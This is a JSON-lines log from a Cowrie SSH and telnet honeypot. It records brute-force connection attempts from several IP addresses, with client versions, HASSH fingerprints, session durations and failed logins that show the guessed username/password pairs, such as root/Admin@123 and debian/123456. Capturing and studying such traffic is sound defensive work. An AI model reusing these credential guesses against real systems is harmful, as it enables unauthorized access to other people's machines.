{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:34.200443Z","src_ip":"45.153.34.112","session":"e676f6a6d265","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.78373169898987,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:35.920942Z","src_ip":"192.119.13.58","session":"c4a82b806f72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":38082,"dst_ip":"10.17.0.5","dst_port":22,"session":"acede8ea64f7","protocol":"ssh","message":"New connection: 45.153.34.112:38082 (10.17.0.5:22) [session: acede8ea64f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:36.153179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:36.157769Z","src_ip":"45.153.34.112","session":"acede8ea64f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:36.239578Z","src_ip":"45.153.34.112","session":"acede8ea64f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:36.483967Z","src_ip":"45.153.34.112","session":"acede8ea64f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.33773589134216,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:36.927851Z","src_ip":"192.119.13.58","session":"b30191628fab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:37.568520Z","src_ip":"45.153.34.112","session":"acede8ea64f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60888,"dst_ip":"10.17.0.5","dst_port":23,"session":"791f7f306ecb","protocol":"telnet","message":"New connection: 192.119.13.58:60888 (10.17.0.5:23) [session: 791f7f306ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:39.219203Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33350,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cbfd6b08c89","protocol":"telnet","message":"New connection: 192.119.13.58:33350 (10.17.0.5:23) [session: 4cbfd6b08c89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:39.389222Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33658,"dst_ip":"10.17.0.5","dst_port":23,"session":"e43b7ba2803a","protocol":"telnet","message":"New connection: 192.119.13.58:33658 (10.17.0.5:23) [session: e43b7ba2803a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:39.471190Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":41110,"dst_ip":"10.17.0.5","dst_port":22,"session":"073140a7d02b","protocol":"ssh","message":"New connection: 45.153.34.112:41110 (10.17.0.5:22) [session: 073140a7d02b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:39.544795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:39.584308Z","src_ip":"45.153.34.112","session":"073140a7d02b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:39.632378Z","src_ip":"45.153.34.112","session":"073140a7d02b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123","message":"login attempt [botuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:39.947671Z","src_ip":"45.153.34.112","session":"073140a7d02b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.730170488357544,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:40.269516Z","src_ip":"192.119.13.58","session":"a418c7d1cf49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:41.032979Z","src_ip":"45.153.34.112","session":"073140a7d02b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41828,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f98ec2dca4e","protocol":"telnet","message":"New connection: 192.119.13.58:41828 (10.17.0.5:23) [session: 5f98ec2dca4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:41.475226Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47628,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad46d9bcf69f","protocol":"telnet","message":"New connection: 192.119.13.58:47628 (10.17.0.5:23) [session: ad46d9bcf69f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:42.879812Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":41126,"dst_ip":"10.17.0.5","dst_port":22,"session":"1508e0f23b29","protocol":"ssh","message":"New connection: 45.153.34.112:41126 (10.17.0.5:22) [session: 1508e0f23b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:43.044611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:43.049384Z","src_ip":"45.153.34.112","session":"1508e0f23b29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:43.131387Z","src_ip":"45.153.34.112","session":"1508e0f23b29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:43.378321Z","src_ip":"45.153.34.112","session":"1508e0f23b29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.36776304244995,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:43.944140Z","src_ip":"192.119.13.58","session":"6266a1013826","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:44.462820Z","src_ip":"45.153.34.112","session":"1508e0f23b29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.175.218","src_port":33212,"dst_ip":"10.17.0.5","dst_port":22,"session":"37268ec67dd5","protocol":"ssh","message":"New connection: 43.134.175.218:33212 (10.17.0.5:22) [session: 37268ec67dd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:44.608927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:44.613257Z","src_ip":"43.134.175.218","session":"37268ec67dd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:44.850755Z","src_ip":"43.134.175.218","session":"37268ec67dd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55872,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca89c9977922","protocol":"telnet","message":"New connection: 192.119.13.58:55872 (10.17.0.5:23) [session: ca89c9977922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:44.920132Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56162,"dst_ip":"10.17.0.5","dst_port":23,"session":"46bc1d014924","protocol":"telnet","message":"New connection: 192.119.13.58:56162 (10.17.0.5:23) [session: 46bc1d014924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:44.948420Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"shirley","message":"login attempt [root/shirley] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:45.838718Z","src_ip":"43.134.175.218","session":"37268ec67dd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.251.244.178","src_port":56842,"dst_ip":"10.17.0.5","dst_port":22,"session":"4482c507dfcb","protocol":"ssh","message":"New connection: 106.251.244.178:56842 (10.17.0.5:22) [session: 4482c507dfcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:46.432355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:46.437235Z","src_ip":"106.251.244.178","session":"4482c507dfcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":41142,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9fea25c22a4","protocol":"ssh","message":"New connection: 45.153.34.112:41142 (10.17.0.5:22) [session: d9fea25c22a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:46.442384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:46.521652Z","src_ip":"45.153.34.112","session":"d9fea25c22a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:46.639418Z","src_ip":"106.251.244.178","session":"4482c507dfcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:46.645617Z","src_ip":"45.153.34.112","session":"d9fea25c22a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36064,"dst_ip":"10.17.0.5","dst_port":23,"session":"9738772c018c","protocol":"telnet","message":"New connection: 192.119.13.58:36064 (10.17.0.5:23) [session: 9738772c018c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:46.798372Z"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:46.901620Z","src_ip":"45.153.34.112","session":"d9fea25c22a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:47.080230Z","src_ip":"43.134.175.218","session":"37268ec67dd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xingling","message":"login attempt [root/xingling] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:47.478811Z","src_ip":"106.251.244.178","session":"4482c507dfcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.41564393043518,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:47.874209Z","src_ip":"192.119.13.58","session":"a552a4d7239e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:47.986653Z","src_ip":"45.153.34.112","session":"d9fea25c22a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:48.683623Z","src_ip":"106.251.244.178","session":"4482c507dfcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":53476,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9f1fd2a6a87","protocol":"ssh","message":"New connection: 45.153.34.112:53476 (10.17.0.5:22) [session: a9f1fd2a6a87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:49.982826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:49.987529Z","src_ip":"45.153.34.112","session":"a9f1fd2a6a87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:50.069776Z","src_ip":"45.153.34.112","session":"a9f1fd2a6a87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yunwei","password":"yunwei","message":"login attempt [yunwei/yunwei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:50.316119Z","src_ip":"45.153.34.112","session":"a9f1fd2a6a87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50808,"dst_ip":"10.17.0.5","dst_port":23,"session":"89982a00737e","protocol":"telnet","message":"New connection: 192.119.13.58:50808 (10.17.0.5:23) [session: 89982a00737e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:50.345957Z"}
